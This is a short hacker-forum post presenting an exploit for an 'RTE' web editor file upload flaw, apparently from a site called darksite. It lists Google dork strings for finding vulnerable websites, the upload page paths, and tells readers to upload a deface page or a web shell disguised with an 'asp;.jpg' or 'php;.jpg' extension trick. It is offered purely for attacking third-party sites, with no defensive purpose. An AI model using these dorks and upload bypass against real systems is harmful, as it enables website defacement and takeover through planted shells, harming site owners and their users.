RTE remote File Upload Vulnerability

Hello friends for these few Days i will be posting some of the web based vulnerability
on darksite ..

here we start with the first easy one but nice to begin with and much enjoyable

Google Dorks

inurl:rte/my_documents/my_files
inurl:/my_documents/my_files/


Exploit:


http://www.website.com/rte/RTE_popup_file_atch.asp
or
http://www.website.com/admin/RTE_popup_file_atch.asp


Goto Url and Upload your deface page or upload your shell as asp;.jpg or php;.jpg


You'll see Your Uploded file URL in this Box

File URL:

Enjoy i know this is a bit older trick but nice tutorial for beginners